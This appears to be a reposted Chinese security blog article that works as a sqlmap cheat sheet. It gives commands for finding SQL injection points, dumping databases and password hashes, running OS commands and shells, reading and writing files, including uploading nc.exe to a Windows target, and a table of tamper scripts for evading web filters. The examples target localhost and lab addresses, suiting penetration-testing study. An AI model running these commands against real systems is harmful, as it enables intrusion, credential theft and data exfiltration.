Sqlmap全家桶之一文掌握sqlmap的各种使用技巧
2022-11-15 00:7:43 Author: Z2O安全攻防(查看原文) 阅读量:64 收藏

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。

只供对已授权的目标使用测试,对未授权目标的测试作者不承担责任,均由使用本人自行承担。

文章正文

Sqlmap之全参数含义

***该部分可参考breezeO_o师傅的文章,见下面的链接,随用随查即可******链接:https://blog.csdn.net/Breeze_CAT/article/details/80628392***
--parse-errors 解析并显示报错信息;
--hex dump非ascii字符时,将其编码为16进制,收到后解码还原;
-v 显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面;
--safe-freq=SAFE.. 频繁的发送错误的请求,服务器也会销毁session或者其他惩罚方式,开启这个功能之后,发几次错的就会发一次对的,通常用于盲注;
--level=LEVEL 设置测试的等级(1-5,默认为1)lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload;
--risk=RISK 风险(1-4,默认1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试;

Sqlmap之注入点测试参数

#基础检测
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1
#POST请求的注入点测试
    sqlmap.py -r  post.txt
#批量检测(注意target.txt跟sqlmap.py在同一个目录下)
    sqlmap.py -m target.txt
#站点爬取
    sqlmap.py -u "http://127.0.0.1/" --batch --crawl=3 
#模拟测试手机环境站点
    sqlmap.py -u "http://127.0.0.1/vuln.php?id=1" --mobile 
#智能判断测试点
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --batch --smart 
#自动填写表单进行注入
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --forms
#有的站点需要Cookie才能扫描,需要登录后指定Cookie
    sqlmap.py -u "http://127.0.0.1/info.php?id=1" --cookie="*value*"
###注意:在批量扫验证的时候,发现不同版本号扫描的结果不一样,1.2.11.6版本可以扫出来数据,但是1.3.4版本就没办法;
    经过分析,两坑如下:
    One、v1.2.11(/v1.2.10/v1.2.9/master)的boundaries.xml没有了针对模糊查询(%)的测试,而v1.2(/v1.1.12/1.1.4/1.2.2)则有。
    Two、v1.2.11(/v1.2.10/1.2.9/master)必须手动设置json的某个参数为*才能对这个参数进行注入,否则payload直接跟在json后导致无法注入,而v1.2(/v1.1.12)则可以默认回车(y)即可对json的某个参数注入。

Sqlmap之获取数据测试参数

#获取当前所有数据库名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 --dbs --batch
#获取某一数据库(admin)的所有表名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin --tables --batch
#获取某一数据库(admin)中表的所有的数据个数
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin --count --batch
#获取某一数据库(admin)的某一数据表(username)的所有字段名
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin -T username --columns --batch
#获取某一数据库(admin)的某一数据表(username)的某一列(password)的前10行数据
    sqlmap.py -u  http://127.0.0.1/user_info.php?uid=1 -D admin -T username -C password --start=1 --stop=10 --dump --batch

Sqlmap之获取信息参数

#使用hex避免字符编码导致数据丢失
    sqlmap.py -u "http://127.0.0.1/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors  
#当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解
    sqlmap.py -u "http://127.0.0.1/get_int.php?id=1" --passwords
#查找数据库管理系统的标识
    sqlmap.py -u "http://127.0.0.1/get_int.php?id=1" --banner
#其他信息参数如下
    --current-user      获取数据库管理系统当前用户
    --current-db        获取数据库管理系统当前数据库
    --hostname         获取数据库服务器的主机名称
    --is-dba            检测DBMS当前用户是否DBA
    --users             枚举数据库管理系统用户
    --passwords         枚举数据库管理系统用户密码哈希
    --privileges        枚举数据库管理系统用户的权限
    --roles            枚举数据库管理系统用户的角色
    --schema            枚举数据库架构
    --search            查找特定的列名,表名或数据库名,配合上面的-D,-C,-T
    --comments    检索数据库的备注
    --exclude-sysdbs    枚举表时排除系统数据库

Sqlmap之执行命令&执行SQL语句

#执行系统命令
    sqlmap.py -u "url" --os-cmd="net user"
#执行系统交互的Shell
    sqlmap.py -u “url” --os-shell
#执行一条SQL语句
    --sql-query=QUERY   要执行的SQL语句
#创建一个SQL的Shell
    --sql-shell 创建一个sql的shell
##查询是否站库分离(判断主机名和数据库名是否一样)
    select @@hostname; //服务端主机名称 
    select host_name();

Sqlmap之上传&读取文件

#读取文件(从后端的数据库管理系统文件系统读取文件)
    --file-read=RFILE   
##SQL Server2005中读取二进制文件example.exe:
    sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe"

#上传文件
   --file-write=WFILE  要上传的本地文件路径
   --file-dest=DFILE   写入目标系统的绝对路径
##在kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:
    python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" 

Sqlmap之注入中的规避技巧

#延时注入(延时0.5秒)
    sqlmap --dbs -u "url" --delay 0.5
#sqlmap请求指定次数(请求2次)
    sqlmap --dbs -u "url“ --safe-freq=2

Sqlmap之注入中的必备参数

-p                  指定测试的参数
--skip=SKIP         跳过对给定参数的测试
--skip-static       跳过测试不显示为动态的参数
--dbms=MySQL        指定数据库类型
--dbms-cred=DBMS..  DBMS认证凭证(user:password)
--tamper=TAMPER    使用给定的脚本篡改注入数据

Tamper功能&Tamper选择备忘录

Tamper功能

序号脚本名称注释
10x2char将每个编码后的字符转换为等价表达
2apostrophemask单引号替换为Utf8字符
3apostrophenullencode替换双引号为%00%27
4appendnullbyte有效代码后添加%00
5base64encode使用base64编码
6between比较符替换为between
7bluecoat空格替换为随机空白字符,等号替换为like
8chardoubleencode双url编码
9charencode将url编码
10charunicodeencode使用unicode编码
11charunicodeescape以指定的payload反向编码未编码的字符
12commalesslimit改变limit语句的写法
13commalessmid改变mid语句的写法
14commentbeforeparentheses在括号前加内联注释
15concat2concatws替换CONCAT为CONCAT_WS
16equaltolike等号替换为like
17escapequotes双引号替换为\\
18greatest大于号替换为greatest
19halfversionedmorekeywords在每个关键字前加注释
20htmlencodehtml编码所有非字母和数字的字符
21ifnull2casewhenisnull改变ifnull语句的写法
22ifnull2ifisnull替换ifnull为if(isnull(A))
23informationschemacomment标示符后添加注释
24least替换大于号为least
25lowercase全部替换为小写值
26modsecurityversioned空格替换为查询版本的注释
27modsecurityzeroversioned添加完整的查询版本的注释
28multiplespaces添加多个空格
29nonrecursivereplacement替换预定义的关键字
30overlongutf8将所有字符转义为utf8
31overlongutf8more以指定的payload转换所有字符
32percentage每个字符前添加%
33plus2concat将加号替换为concat函数
34plus2fnconcat将加号替换为ODBC函数{fn CONCAT()}
35randomcase字符大小写随机替换
36randomcomments/**/分割关键字
37securesphere添加某字符串
38sp_password追加sp_password字符串
39space2comment空格替换为/**/
40space2dash空格替换为--加随机字符
41space2hash空格替换为#加随机字符
42space2morecomment空格替换为/_/
43space2morehash空格替换为#加随机字符及换行符
44space2mssqlblank空格替换为其他空符号
45space2mssqlhash空格替换为%23%0A
46space2mysqlblank空格替换为其他空白符号
47space2mysqldash空格替换为--%0A
48space2plus空格替换为加号
49space2randomblank空格替换为备选字符集中的随机字符
50symboliclogicalAND和OR替换为&&和||
51unionalltounionunion all select替换为union select
52unmagicquotes宽字符绕过GPC
53uppercase全部替换为大写值
54varnish添加HTTP头
55versionedkeywords用注释封装每个非函数的关键字
56versionedmorekeywords使用注释绕过
57xforwardedfor添加伪造的HTTP头

MySQL常用Tamper

版本可用tamper编号脚本名称
4/5.0/5.510x2char

6between

9charencode

16concat2concatws

18greatest

24least

25lowercase

35randomcase

39space2comment

49space2randomblank

53uppercase
5.17bluecoat

46space2mysqlblank
5.0/5.512commalesslimit

13commalessmid

21ifnull2casewhenisnull

22ifnull2ifisnull

42space2morecomment
5.015concat2concatws

26modsecurityversioned

27modsecurityzeroversioned
4.0/5.041space2hash
5.1.5610charunicodeencode
5.1.56/5.5.1132percentage

56versionedmorekeywords
4.0.18/5.0.2219halfversionedmorekeywords
4.0.18/5.1.56/5.5.1155versionedkeywords
5.1.4143space2morehash
未指定版本14commentbeforeparentheses

40space2dash

45space2mssqlhash

47space2mysqldash

Sql Server常用Tamper

版本可用tamper编号脚本名称
2005/200010charunicodeencode

32percentage

44space2mssqlblank
20056between

9charencode

16equaltolike

25lowercase

35randomcase

39space2comment

49space2randomblank

53uppercase
2002+33plus2concat
2008+34plus2fnconcat
未指定14commentbeforeparentheses

ACCESS常用Tamper

版本可用tamper编号脚本名称
未指定4appendnullbyte

Oracle常用Tamper

版本可用tamper编号脚本名称
10g6between

9charencode

14commentbeforeparentheses

18greatest

24least

25lowercase

35randomcase

39space2comment

49space2randomblank

53uppercase

PostgreSQL常用Tamper

版本可用tamper编号脚本名称
8.3/8.4/9.06between

9charencode

18greatest

24least

25lowercase

39space2comment

49space2randomblank

53uppercase
9.032percentage
9.0.310charunicodeencode
未指定14commentbeforeparentheses

35randomcase

SQLite常用Tamper

版本可用tamper编号脚本名称
未指定40space2dash

未知适用范围常用Tamper

版本可用tamper编号脚本名称

2apostrophemask

3apostrophenullencode

5base64encode

8chardoubleencode

11charunicodeescape

17escapequotes

20htmlencode

23informationschemacomment

28multiplespaces

29nonrecursivereplacement

30overlongutf8

31overlongutf8more

36randomcomments

37securesphere

48space2plus

50symboliclogical

51unionalltounion

52unmagicquotes

54varnish

57xforwardedfor

参考

http://www.langzi.fun/SQLMAP%E9%80%9F%E6%9F%A5%E8%A1%A8.html
https://blog.csdn.net/Breeze_CAT/article/details/80628392
https://zhzhdoai.github.io/2019/02/25/sqlmap%E6%93%8D%E4%BD%9C(sqlilabs)/#%E5%89%8D%E8%A8%80
https://www.freebuf.com/sectool/179035.html

技术交流

知识星球

致力于红蓝对抗,实战攻防,星球不定时更新内外网攻防渗透技巧,以及最新学习研究成果等。常态化更新最新安全动态。专题更新奇技淫巧小Tips及实战案例。

涉及方向包括Web渗透、免杀绕过、内网攻防、代码审计、应急响应、云安全。星球中已发布 200+ 安全资源,针对网络安全成员的普遍水平,并为星友提供了教程、工具、POC&EXP以及各种学习笔记等等。

交流群

关注公众号回复“加群”,添加Z2OBot 小K自动拉你加入Z2O安全攻防交流群分享更多好东西。

关注我们

关注福利:

回复“app" 获取  app渗透和app抓包教程

回复“渗透字典" 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。

回复“书籍" 获取 网络安全相关经典书籍电子版pdf

往期文章

我是如何摸鱼到红队的

命令执行漏洞[无]回显[不]出网利用技巧

MSSQL提权全总结

Powershell 免杀过 defender 火绒,附自动化工具

一篇文章带你学会容器逃逸

域渗透 | kerberos认证及过程中产生的攻击

通过DCERPC和ntlmssp获取Windows远程主机信息


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2ODYxMzY3OQ==&mid=2247489987&idx=1&sn=653c9742266c323bd006b09ddcaf0b88&chksm=cea8f283f9df7b95310b0f9ca408aeacf375a34cf6562fdefa6c05c07c0d55c4469cb636f306#rd
如有侵权请联系:admin#unsafe.sh